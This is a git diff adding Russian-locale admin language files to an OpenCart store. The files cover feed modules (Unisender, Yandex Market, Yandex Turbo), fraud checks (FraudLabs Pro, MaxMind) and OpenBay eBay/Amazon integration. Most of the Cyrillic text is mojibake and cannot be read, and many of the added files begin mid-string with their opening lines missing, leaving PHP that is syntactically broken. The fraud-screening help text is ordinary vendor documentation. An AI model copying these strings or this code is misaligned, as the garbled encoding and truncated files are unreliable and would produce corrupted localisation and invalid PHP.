+$_['entry_google_category'] = 'Google КатегориÑ';
+$_['entry_category'] = 'КатегориÑ';
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_data_feed'] = 'ÐдреÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_upload'] = 'Файл не может быть загружен!';
+$_['error_filetype'] = 'Ðеверный формат файла!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/feed/google_sitemap.php b/public/admin/language/ru-ru/extension/feed/google_sitemap.php
new file mode 100644
index 0000000..f664163
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/feed/google_sitemap.php
@@ -0,0 +1,20 @@
+ OpenBay Pro';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/feed/unisender.php b/public/admin/language/ru-ru/extension/feed/unisender.php
new file mode 100644
index 0000000..3cec482
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/feed/unisender.php
@@ -0,0 +1,26 @@
+ ';
+$_['text_get_key'] = 'ЗарегиÑтрироватьÑÑ Ð¸ получить ключ';
+$_['text_unselect'] = 'ÑнÑть выделение';
+$_['text_export'] = 'ÐкÑпортировать ÑущеÑтвующие контакты в CSV';
+
+// Entry
+$_['entry_unisender_key'] = 'Ключ Unisender API:';
+$_['entry_unisender_key_help'] = 'ДоÑтупен в личном кабинете Unisender';
+$_['entry_unisender_subscribtion'] = 'ПодпиÑывать на раÑÑылки:';
+$_['entry_unisender_subscribtion_help'] = 'Покупатели, подпиÑавшиеÑÑ Ð½Ð° новоÑти, будут подпиÑаны на Ñти раÑÑылки';
+$_['entry_unisender_ignore'] = 'Ð’Ñегда подпиÑывать на раÑÑылки, незавиÑимо от выбора покупателÑ';
+$_['entry_unisender_status'] = 'СтатуÑ:';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÑ‚ прав Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñтим модулем!';
+$_['error_form'] = 'Форма заполнена Ñ Ð¾ÑˆÐ¸Ð±ÐºÐ°Ð¼Ð¸!';
+$_['error_empty_field'] = 'Ðто поле должно быть заполнено!';
diff --git a/public/admin/language/ru-ru/extension/feed/yandex_market.php b/public/admin/language/ru-ru/extension/feed/yandex_market.php
new file mode 100644
index 0000000..be49a0f
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/feed/yandex_market.php
@@ -0,0 +1,89 @@
+Форуме';
+
+// Error
+$_['error_image_width'] = 'Укажите ширину!';
+$_['error_image_height'] = 'Укажите выÑоту!';
+$_['error_image_width_min'] = 'Ширина Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ðµ должна быть меньше 250 точек!';
+$_['error_image_height_min'] = 'Ð’Ñ‹Ñота Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ðµ должна быть меньше 250 точек!';
+$_['error_image_width_max'] = 'Ширина Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ðµ должна быть больше 3500 точек!';
+$_['error_image_height_max'] = 'Ð’Ñ‹Ñота Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ðµ должна быть больше 3500 точек!';
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/feed/yandex_turbo.php b/public/admin/language/ru-ru/extension/feed/yandex_turbo.php
new file mode 100644
index 0000000..f7c41e1
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/feed/yandex_turbo.php
@@ -0,0 +1,18 @@
+@spectre';
+$_['entry_data_feed'] = 'ÐÐ´Ñ€ÐµÑ Yandex';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/fraud/fraudlabspro.php b/public/admin/language/ru-ru/extension/fraud/fraudlabspro.php
new file mode 100644
index 0000000..c63fb6b
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/fraud/fraudlabspro.php
@@ -0,0 +1,83 @@
+sign up here for a free API Key.';
+$_['text_id'] = 'FraudLabs Pro ID';
+$_['text_ip_address'] = 'IP Address';
+$_['text_ip_net_speed'] = 'IP Net Speed';
+$_['text_ip_isp_name'] = 'IP ISP Name';
+$_['text_ip_usage_type'] = 'IP Usage Type';
+$_['text_ip_domain'] = 'IP Domain';
+$_['text_ip_time_zone'] = 'IP Time Zone';
+$_['text_ip_location'] = 'IP Location';
+$_['text_ip_distance'] = 'IP Distance';
+$_['text_ip_latitude'] = 'IP Latitude';
+$_['text_ip_longitude'] = 'IP Longitude';
+$_['text_risk_country'] = 'High Risk Country';
+$_['text_free_email'] = 'Free Email';
+$_['text_ship_forward'] = 'Ship Forward';
+$_['text_using_proxy'] = 'Using Proxy';
+$_['text_bin_found'] = 'BIN Found';
+$_['text_email_blacklist'] = 'Email Blacklist';
+$_['text_credit_card_blacklist'] = 'Credit Card Blacklist';
+$_['text_score'] = 'FraudLabs Pro Score';
+$_['text_status'] = 'FraudLabs Pro Status';
+$_['text_message'] = 'Message';
+$_['text_transaction_id'] = 'Transaction ID';
+$_['text_credits'] = 'Balance';
+$_['text_error'] = 'Error:';
+$_['text_flp_upgrade'] = '[Upgrade] ';
+$_['text_flp_merchant_area'] = 'Please login to FraudLabs Pro Merchant Area for more information about this order.';
+
+
+// Entry
+$_['entry_status'] = 'Status';
+$_['entry_key'] = 'API Key';
+$_['entry_score'] = 'Risk Score';
+$_['entry_order_status'] = 'Order Status';
+$_['entry_review_status'] = 'Review Status';
+$_['entry_approve_status'] = 'Approve Status';
+$_['entry_reject_status'] = 'Reject Status';
+$_['entry_simulate_ip'] = 'Simulate IP';
+
+// Help
+$_['help_order_status'] = 'Orders that have a score over your set risk score will be assigned this order status.';
+$_['help_review_status'] = 'Orders that marked as review by FraudLabs Pro will be assigned this order status.';
+$_['help_approve_status'] = 'Orders that marked as approve by FraudLabs Pro will be assigned this order status.';
+$_['help_reject_status'] = 'Orders that marked as reject by FraudLabs Pro will be assigned this order status.';
+$_['help_simulate_ip'] = 'Simulate the visitor IP address for testing. Leave blank to disable it.';
+$_['help_fraudlabspro_id'] = 'Unique identifier for a transaction screened by FraudLabs Pro system.';
+$_['help_ip_address'] = 'IP Address.';
+$_['help_ip_net_speed'] = 'Connection speed.';
+$_['help_ip_isp_name'] = 'ISP of the IP address.';
+$_['help_ip_usage_type'] = 'Usage type of the IP address. E.g, ISP, Commercial, Residential.';
+$_['help_ip_domain'] = 'Domain name of the IP address.';
+$_['help_ip_time_zone'] = 'Time zone of the IP address.';
+$_['help_ip_location'] = 'Location of the IP address.';
+$_['help_ip_distance'] = 'Distance from IP address to Billing Location.';
+$_['help_ip_latitude'] = 'Latitude of the IP address.';
+$_['help_ip_longitude'] = 'Longitude of the IP address.';
+$_['help_risk_country'] = 'Whether IP address country is in the latest high risk country list.';
+$_['help_free_email'] = 'Whether e-mail is from free e-mail provider.';
+$_['help_ship_forward'] = 'Whether shipping address is a freight forwarder address.';
+$_['help_using_proxy'] = 'Whether IP address is from Anonymous Proxy Server.';
+$_['help_bin_found'] = 'Whether the BIN information matches our BIN list.';
+$_['help_email_blacklist'] = 'Whether the email address is in our blacklist database.';
+$_['help_credit_card_blacklist'] = 'Whether the credit card is in our blacklist database.';
+$_['help_score'] = 'Risk score, 0 (low risk) - 100 (high risk).';
+$_['help_status'] = 'FraudLabs Pro status.';
+$_['help_message'] = 'FraudLabs Pro error message description.';
+$_['help_transaction_id'] = 'Click the link to view the fraud analysis details.';
+$_['help_credits'] = 'Balance of the credits available after this transaction.';
+
+// Error
+$_['error_permission'] = 'Warning: You do not have permission to modify FraudLabs Pro settings!';
+$_['error_key'] = 'API Key Required!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/fraud/ip.php b/public/admin/language/ru-ru/extension/fraud/ip.php
new file mode 100644
index 0000000..55ec788
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/fraud/ip.php
@@ -0,0 +1,30 @@
+sign up here .';
+$_['text_country_match'] = 'Country Match:';
+$_['text_country_code'] = 'Country Code:';
+$_['text_high_risk_country'] = 'High Risk Country:';
+$_['text_distance'] = 'Distance:';
+$_['text_ip_region'] = 'IP Region:';
+$_['text_ip_city'] = 'IP City:';
+$_['text_ip_latitude'] = 'IP Latitude:';
+$_['text_ip_longitude'] = 'IP Longitude:';
+$_['text_ip_isp'] = 'ISP:';
+$_['text_ip_org'] = 'IP Organization:';
+$_['text_ip_asnum'] = 'ASNUM:';
+$_['text_ip_user_type'] = 'IP User Type:';
+$_['text_ip_country_confidence'] = 'IP Country Confidence:';
+$_['text_ip_region_confidence'] = 'IP Region Confidence:';
+$_['text_ip_city_confidence'] = 'IP City Confidence:';
+$_['text_ip_postal_confidence'] = 'IP Postal Confidence:';
+$_['text_ip_postal_code'] = 'IP Postal Code:';
+$_['text_ip_accuracy_radius'] = 'IP Accuracy Radius:';
+$_['text_ip_net_speed_cell'] = 'IP Net Speed Cell';
+$_['text_ip_metro_code'] = 'IP Metro Code:';
+$_['text_ip_area_code'] = 'IP Area Code:';
+$_['text_ip_time_zone'] = 'IP Time Zone:';
+$_['text_ip_region_name'] = 'IP Region Name:';
+$_['text_ip_domain'] = 'IP Domain:';
+$_['text_ip_country_name'] = 'IP Country Name:';
+$_['text_ip_continent_code'] = 'IP Continent Code:';
+$_['text_ip_corporate_proxy'] = 'IP Corporate Proxy:';
+$_['text_anonymous_proxy'] = 'Anonymous Proxy:';
+$_['text_proxy_score'] = 'Proxy Score:';
+$_['text_is_trans_proxy'] = 'Is Transparent Proxy:';
+$_['text_free_mail'] = 'Free Mail:';
+$_['text_carder_email'] = 'Carder Email:';
+$_['text_high_risk_username'] = 'High Risk Username:';
+$_['text_high_risk_password'] = 'High Risk Password:';
+$_['text_bin_match'] = 'Bin Match:';
+$_['text_bin_country'] = 'Bin Country:';
+$_['text_bin_name_match'] = 'Bin Name Match:';
+$_['text_bin_name'] = 'Bin Name:';
+$_['text_bin_phone_match'] = 'Bin Phone Match:';
+$_['text_bin_phone'] = 'Bin Phone:';
+$_['text_customer_phone_in_billing_location'] = 'Customer Phone Number in Billing Location:';
+$_['text_ship_forward'] = 'Shipping Forward:';
+$_['text_city_postal_match'] = 'City Postal Match:';
+$_['text_ship_city_postal_match'] = 'Shipping City Postal Match:';
+$_['text_score'] = 'Score:';
+$_['text_explanation'] = 'Explanation:';
+$_['text_risk_score'] = 'Risk Score:';
+$_['text_queries_remaining'] = 'Queries Remaining:';
+$_['text_maxmind_id'] = 'Maxmind ID:';
+$_['text_error'] = 'Error:';
+
+// Entry
+$_['entry_key'] = 'MaxMind License Key';
+$_['entry_score'] = 'Risk Score';
+$_['entry_order_status'] = 'СтатуÑ';
+$_['entry_status'] = 'СтатуÑ';
+
+// Help
+$_['help_score'] = 'The higher the score the more likely the order is fraudulent. Set a score between 0 - 100.';
+$_['help_order_status'] = 'Orders that have a score over your set risk score will be assigned this order status and will not be allowed to reach the complete status automatically.';
+$_['help_country_match'] = 'Whether country of IP address matches billing address country (mismatch = higher risk).';
+$_['help_country_code'] = 'Country Code of the IP address.';
+$_['help_high_risk_country'] = 'Whether IP address or billing address country is in Ghana, Nigeria, or Vietnam.';
+$_['help_distance'] = 'Distance from IP address to Billing Location in kilometers (large distance = higher risk).';
+$_['help_ip_region'] = 'Estimated State/Region of the IP address.';
+$_['help_ip_city'] = 'Estimated City of the IP address.';
+$_['help_ip_latitude'] = 'Estimated Latitude of the IP address.';
+$_['help_ip_longitude'] = 'Estimated Longitude of the IP address.';
+$_['help_ip_isp'] = 'ISP of the IP address.';
+$_['help_ip_org'] = 'Organization of the IP address.';
+$_['help_ip_asnum'] = 'Estimated Autonomous System Number of the IP address.';
+$_['help_ip_user_type'] = 'Estimated user type of the IP address.';
+$_['help_ip_country_confidence'] = 'Representing our confidence that the country location is correct.';
+$_['help_ip_region_confidence'] = 'Representing our confidence that the region location is correct.';
+$_['help_ip_city_confidence'] = 'Representing our confidence that the city location is correct.';
+$_['help_ip_postal_confidence'] = 'Representing our confidence that the postal code location is correct.';
+$_['help_ip_postal_code'] = 'Estimated Postal Code of the IP address.';
+$_['help_ip_accuracy_radius'] = 'The average distance between the actual location of the end user using the IP address and the location returned by the GeoIP City database, in miles.';
+$_['help_ip_net_speed_cell'] = 'Estimated network type of the IP address.';
+$_['help_ip_metro_code'] = 'Estimated Metro Code of the IP address.';
+$_['help_ip_area_code'] = 'Estimated Area Code of the IP address.';
+$_['help_ip_time_zone'] = 'Estimated Time Zone of the IP address.';
+$_['help_ip_region_name'] = 'Estimated Region name of the IP address.';
+$_['help_ip_domain'] = 'Estimated domain of the IP address.';
+$_['help_ip_country_name'] = 'Estimated Country name of the IP address.';
+$_['help_ip_continent_code'] = 'Estimated Continent code of the IP address.';
+$_['help_ip_corporate_proxy'] = 'Whether the IP is an Corporate Proxy in the database or not.';
+$_['help_anonymous_proxy'] = 'Whether IP address is Anonymous Proxy (anonymous proxy = very high risk).';
+$_['help_proxy_score'] = 'Likelihood of IP Address being an Open Proxy.';
+$_['help_is_trans_proxy'] = 'Whether IP address is in our database of known transparent proxy servers, returned if forwardedIP is passed as an input.';
+$_['help_free_mail'] = 'Whether e-mail is from free e-mail provider (free e-mail = higher risk).';
+$_['help_carder_email'] = 'Whether e-mail is in database of high risk e-mails.';
+$_['help_high_risk_username'] = 'Whether usernameMD5 input is in database of high risk usernames. Only returned if usernameMD5 is included in inputs.';
+$_['help_high_risk_password'] = 'Whether passwordMD5 input is in database of high risk passwords. Only returned if passwordMD5 is included in inputs.';
+$_['help_bin_match'] = 'Whether country of issuing bank based on BIN number matches billing address country.';
+$_['help_bin_country'] = 'Country Code of the bank which issued the credit card based on BIN number.';
+$_['help_bin_name_match'] = 'Whether name of issuing bank matches inputted BIN name. A return value of Yes provides a positive indication that cardholder is in possession of credit card.';
+$_['help_bin_name'] = 'Name of the bank which issued the credit card based on BIN number. Available for approximately 96% of BIN numbers.';
+$_['help_bin_phone_match'] = 'Whether customer service phone number matches inputed BIN Phone. A return value of Yes provides a positive indication that cardholder is in possession of credit card.';
+$_['help_bin_phone'] = 'Customer service phone number listed on back of credit card. Available for approximately 75% of BIN numbers. In some cases phone number returned may be outdated.';
+$_['help_customer_phone_in_billing_location'] = 'Whether the customer phone number is in the billing zip code. A return value of Yes provides a positive indication that the phone number listed belongs to the cardholder. A return value of No indicates that the phone number may be in a different area, or may not be listed in our database. NotFound is returned when the phone number prefix cannot be found in our database at all. Currently we only support US Phone numbers.';
+$_['help_ship_forward'] = 'Whether shipping address is in database of known mail drops.';
+$_['help_city_postal_match'] = 'Whether billing city and state match zipcode. Currently available for US addresses only, returns empty string outside the US.';
+$_['help_ship_city_postal_match'] = 'Whether shipping city and state match zipcode. Currently available for US addresses only, returns empty string outside the US.';
+$_['help_score'] = 'Overall fraud score based on outputs listed above. This is the original fraud score, and is based on a simple formula. It has been replaced with risk score (see below), but is kept for backwards compatibility.';
+$_['help_explanation'] = 'A brief explanation of the score, detailing what factors contributed to it, according to our formula. Please note this corresponds to the score, not the riskScore.';
+$_['help_risk_score'] = 'New fraud score representing the estimated probability that the order is fraud, based off of analysis of past minFraud transactions. Requires an upgrade for clients who signed up before February 2007.';
+$_['help_queries_remaining'] = 'Number of queries remaining in your account, can be used to alert you when you may need to add more queries to your account.';
+$_['help_maxmind_id'] = 'Unique identifier, used to reference transactions when reporting fraudulent activity back to MaxMind. This reporting will help MaxMind improve its service to you and will enable a planned feature to customize the fraud scoring formula based on your chargeback history.';
+$_['help_error'] = 'Returns an error string with a warning message or a reason why the request failed.';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_key'] = 'License Key Required!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/installer.php b/public/admin/language/ru-ru/extension/installer.php
new file mode 100644
index 0000000..0026516
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/installer.php
@@ -0,0 +1,42 @@
+clicking here and choose taxonomy with numeric IDs in Plain Text (.txt) file. Upload via the green import button.';
+
+// Column
+$_['column_google_category'] = 'Google Category';
+$_['column_category'] = 'Category';
+$_['column_action'] = 'Action';
+
+// Entry
+$_['entry_google_category'] = 'Google Category';
+$_['entry_category'] = 'Category';
+$_['entry_data_feed'] = 'Data Feed Url';
+$_['entry_status'] = 'Status';
+
+// Error
+$_['error_permission'] = 'Warning: You do not have permission to modify Google Base feed!';
+$_['error_upload'] = 'File could not be uploaded!';
+$_['error_filetype'] = 'Invalid file type!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/modification.php b/public/admin/language/ru-ru/extension/modification.php
new file mode 100644
index 0000000..8bea55c
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/modification.php
@@ -0,0 +1,22 @@
+ '. $_['page_title'];
+// Tab
+$_['tab_settings'] = 'ÐаÑтройки';
+$_['tab_help'] = 'Помощь';
+
+// Text
+$_['text_extension'] = 'Модули';
+$_['text_edit'] = 'Редактирование модулÑ';
+$_['text_success'] = 'ÐаÑтройки Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ñ‹!';
+$_['text_success_clear'] = 'УÑпешно очищено!';
+$_['text_documentation'] = 'ДокументациÑ';
+$_['text_developer'] = 'Разработчик';
+$_['text_clear'] = 'ОчиÑтить';
+$_['text_clear_all'] = 'ОчиÑтить вÑе';
+$_['text_refresh'] = 'ОчиÑтить и обновить';
+$_['text_cache'] = 'КÑш';
+$_['text_cache_system'] = 'КÑш twig и ÑиÑтемы';
+$_['text_cache_modification'] = 'КÑш модификаций';
+$_['text_cache_image'] = 'КÑш изображений';
+$_['text_log'] = 'Логи';
+$_['text_log_error'] = 'Лог ошибок';
+$_['text_log_modification'] = 'Лог модификаций';
+
+// Entry
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_size'] = 'Отображать размеры';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÑ‚ прав Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñтого модулÑ!';
diff --git a/public/admin/language/ru-ru/extension/module/popular.php b/public/admin/language/ru-ru/extension/module/popular.php
new file mode 100644
index 0000000..dd56f3c
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/module/popular.php
@@ -0,0 +1,25 @@
+WD Категории';
+$_['entry_name'] = 'Ðазвание';
+$_['entry_category'] = 'Категории';
+$_['help_category'] = 'Выберите необходимые Ð´Ð»Ñ Ð¿Ð¾ÐºÐ°Ð·Ð° категории';
+$_['entry_width_height'] = 'Размеры изображениÑ';
+// Text
+$_['text_module'] = 'Модули';
+$_['text_success'] = 'ÐаÑтройки уÑпешно изменены!';
+$_['text_edit'] = 'Редактирование';
+
+// Entry
+$_['entry_status'] = 'СтатуÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/module/subscribe.php b/public/admin/language/ru-ru/extension/module/subscribe.php
new file mode 100644
index 0000000..8226345
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/module/subscribe.php
@@ -0,0 +1,28 @@
+ТекÑÑ‚ пиÑьма покупателю, подпиÑавшемуÑÑ Ð½Ð° раÑÑылку ';
+$_['text_subscribe'] = 'ПодпиÑка';
+
+// Entry
+$_['error_subscribe_description'] = 'Ðазвание Ñтатьи должно быть до 30000 Ñимволов!';
+$_['entry_id'] = 'ID';
+$_['entry_layout'] = 'Схема:';
+$_['entry_position'] = 'РаÑположение:';
+$_['entry_status'] = 'СтатуÑ:';
+$_['entry_sort_order'] = 'ПорÑдок Ñортировки:';
+$_['entry_email_alert'] = 'Оповещение e-mail:';
+$_['entry_subscribe_confirm'] = 'Подтверждение подпиÑки e-mail:';
+
+// Error
+$_['error_permission'] = 'У Ð’Ð°Ñ Ð½ÐµÑ‚ прав Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð´ÑƒÐ»Ñ subscribe!';
+$_['error_warning'] = 'Внимательно проверьте форму на ошибки!';
+?>
diff --git a/public/admin/language/ru-ru/extension/module/wd_banners.php b/public/admin/language/ru-ru/extension/module/wd_banners.php
new file mode 100644
index 0000000..2539159
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/module/wd_banners.php
@@ -0,0 +1,24 @@
+WD Баннеры, Ñлайды, групповые Ñлементы';
+$_['text_extension'] = 'Модули';
+$_['entry_include'] = 'Подключаемые Ñтили и Ñкрипты';
+$_['entry_include_help'] = 'Путь до файлов Ñтилей или Ñкриптов, отноÑительно ÐºÐ¾Ñ€Ð½Ñ Ñайта, Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ модулÑ. По одному пути на Ñтроку';
+$_['entry_twig'] = 'Ð˜Ð¼Ñ TWIG файла Ð´Ð»Ñ Ð²Ñ‹Ð²Ð¾Ð´Ð°';
+$_['entry_twig_help'] = 'ЕÑли указано, то Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð½Ð° витрине будет подключён неÑтандартный twig-файл. ПозаботьтеÑÑŒ о его наличии и корректном коде.';
+$_['text_success'] = 'ÐаÑтройки Ð¼Ð¾Ð´ÑƒÐ»Ñ ÑƒÑпешно изменены!';
+$_['text_edit'] = 'Редактирование Ñлайдшоу';
+$_['entry_name'] = 'Ð˜Ð¼Ñ Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð² админке';
+$_['entry_width_height'] = 'Размер Ñлайдшоу, в пикÑелÑÑ…';
+$_['entry_effect_in'] = 'Ðффект поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ñлайда';
+$_['entry_effect_out'] = 'Ðффект иÑÑ‡ÐµÐ·Ð°Ð½Ð¸Ñ Ñлайда';
+$_['entry_delay'] = 'Ð’Ñ€ÐµÐ¼Ñ Ð¿Ð¾ÐºÐ°Ð·Ð° Ñлайда, в Ñекундах';
+$_['entry_hide'] = 'Показывать Ð¸Ð¼Ñ Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð½Ð° витрине';
+$_['entry_banner'] = 'Баннер';
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_fullwidth'] = 'Показывать текÑÑ‚ Ñлайдера поверх изображениÑ';
+$_['error_permission'] = 'Предупреждение Ð’Ñ‹ не имеете Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ð½Ð° изменение модулÑ!';
+$_['error_name'] = 'Ðазвание Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð´Ð¾Ð»Ð¶Ð½Ð¾ быть от 3 до 64 Ñимволов!';
+$_['error_width'] = 'Ширина требуетÑÑ!';
+$_['error_height'] = 'Ð’Ñ‹Ñота требуетÑÑ!';
+$_['error_twig'] = 'Файл не ÑущеÑтвует!';
+?>
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/openbay.php b/public/admin/language/ru-ru/extension/openbay.php
new file mode 100644
index 0000000..f194932
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/openbay.php
@@ -0,0 +1,95 @@
+ or <';
+$_['error_tracking_courier'] = 'You must select a courier if you want to add a tracking ID';
+$_['error_tracking_custom'] = 'Please leave courier field empty if you want to use custom courier';
+$_['error_permission'] = 'You do not have permission to modify the OpenBay Pro extension';
+$_['error_mkdir'] = 'PHP mkdir function is disabled, contact your host';
+$_['error_file_delete'] = 'Unable to remove these files, you should delete them manually';
+$_['error_mcrypt'] = 'PHP function "mcrypt_encrypt" is not enabled. Contact your hosting provider.';
+$_['error_mbstring'] = 'PHP library "mb strings" is not enabled. Contact your hosting provider.';
+$_['error_oc_version'] = 'Your version of OpenCart is not tested to work with this module. You may experience problems.';
+$_['error_fopen'] = 'PHP function "fopen" is disabled by your host - you will be unable to import images when importing products';
+$_['lang_error_vqmod'] = 'Your vqmod folder contains older OpenBay Pro files - these need to be removed!';
+
+// Help
+$_['help_clear_faq'] = 'Show all of the help notifications again';
+$_['help_empty_data'] = 'This can cause serious damage, do not use it if you do not know what it does!';
+$_['help_easy_update'] = 'Click update to install the latest version of OpenBay Pro automatically';
+$_['help_patch'] = 'Click to run the patch scripts';
+$_['help_beta'] = 'Caution! The beta version is the latest development version. It may not be stable and could contain bugs.';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/openbay/amazon.php b/public/admin/language/ru-ru/extension/openbay/amazon.php
new file mode 100644
index 0000000..cf0ca97
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/openbay/amazon.php
@@ -0,0 +1,18 @@
+Caution! This will import all of your eBay products and build a category structure in your store. It is advised that you delete all categories and products before you run this option. The category structure is from the normal eBay categories, not your shop categories (if you have an eBay shop). You can rename, remove and edit the imported categories without affecting your eBay products.';
+$_['text_sync_import_line3'] = 'You need to ensure your server can accept and process large POST data sizes. 1000 eBay items is about 40Mb in size, you will need to calculate what you require. If your call fails then it is likely your setting is too small. Your PHP memory limit needs to be about 128Mb.';
+$_['text_sync_server_size'] = 'Currently your server can accept: ';
+$_['text_sync_memory_size'] = 'Your PHP memory limit: ';
+$_['text_import_confirm'] = 'This will import all of your eBay items as new products, are you sure? This CAN NOT be undone! ENSURE you have a backup first!';
+$_['text_import_notify'] = 'Your import request has been sent for processing. An import takes about 1 hour per 1000 items.';
+$_['text_import_images_msg1'] = 'images are pending import/copy from eBay. Refresh this page, if the number does not decrease then';
+$_['text_import_images_msg2'] = 'click here';
+$_['text_import_images_msg3'] = 'and wait. More information about why this happened can be found here ';
+
+// Entry
+$_['entry_import_item_advanced'] = 'Get advanced data';
+$_['entry_import_categories'] = 'Import categories';
+$_['entry_import_description'] = 'Import item descriptions';
+$_['entry_import'] = 'Import eBay items';
+
+// Buttons
+$_['button_import'] = 'Import';
+$_['button_complete'] = 'Complete';
+
+// Help
+$_['help_import_item_advanced'] = 'Will take up to 10 times longer to import items. Imports weights, sizes, ISBN and more if available';
+$_['help_import_categories'] = 'Builds a category structure in your store from the eBay categories';
+$_['help_import_description'] = 'This will import everything including HTML, visit counters etc';
+
+// Error
+$_['error_import'] = 'Failed to load';
+$_['error_maintenance'] = 'Your store is in maintenance mode. Importing will fail!';
+$_['error_ajax_load'] = 'Failed to connect to server';
+$_['error_validation'] = 'You need to register for your API token and enable the module.';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/openbay/ebay_links.php b/public/admin/language/ru-ru/extension/openbay/ebay_links.php
new file mode 100644
index 0000000..2014628
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/openbay/ebay_links.php
@@ -0,0 +1,57 @@
+ Options)';
+$_['text_catalog_help'] = 'This will change your main image and will be set to use the eBay catalog image';
+$_['text_failed_title'] = 'Listing your item failed';
+$_['text_failed_msg1'] = 'There may be multiple reasons for this.';
+$_['text_failed_li1'] = 'If you are a new eBay seller (or have not sold much in the past) - you will need to contact eBay to remove your seller restrictions';
+$_['text_failed_li2'] = 'You may have not subscribed to Selling Manager Pro on eBay - this is a requirement.';
+$_['text_failed_li3'] = 'Your OpenBay Pro account is suspended, please check via your module admin area under the "My Account" tab';
+$_['text_failed_contact'] = 'If this error continues, please contact support after you have ensured the issue is none of the above.';
+$_['text_template_images'] = 'Template images';
+$_['text_ebay_images'] = 'eBay images';
+$_['text_shipping_first'] = 'First item';
+$_['text_shipping_add'] = 'Additional items';
+$_['text_shipping_service'] = 'Service';
+$_['text_stock_reserved'] = ' will be reserved';
+$_['text_insert'] = 'Add new eBay listing';
+$_['text_price_ex_tax'] = 'Excluding tax';
+$_['text_price_inc_tax'] = 'Including tax';
+$_['text_ebay_imagesize_ok'] = 'The image size is good, it can be used on eBay';
+$_['text_compatible'] = 'Compatible options';
+$_['text_loading_compatibility'] = 'Loading compatibility options';
+$_['text_product_identifiers'] = 'Product identifiers';
+$_['text_ean'] = 'EAN';
+$_['text_upc'] = 'UPC';
+$_['text_isbn'] = 'ISBN';
+$_['text_identifier_not_required'] = 'Not required';
+
+// Column
+$_['column_stock_total'] = 'In stock';
+$_['column_stock_col_qty'] = 'To list';
+$_['column_stock_col_qty_reserve'] = 'Reserved';
+$_['column_price_ex_tax'] = 'Excluding tax';
+$_['column_price_inc_tax'] = 'Including tax';
+$_['column_stock_col_comb'] = 'Combination';
+$_['column_price'] = 'Price';
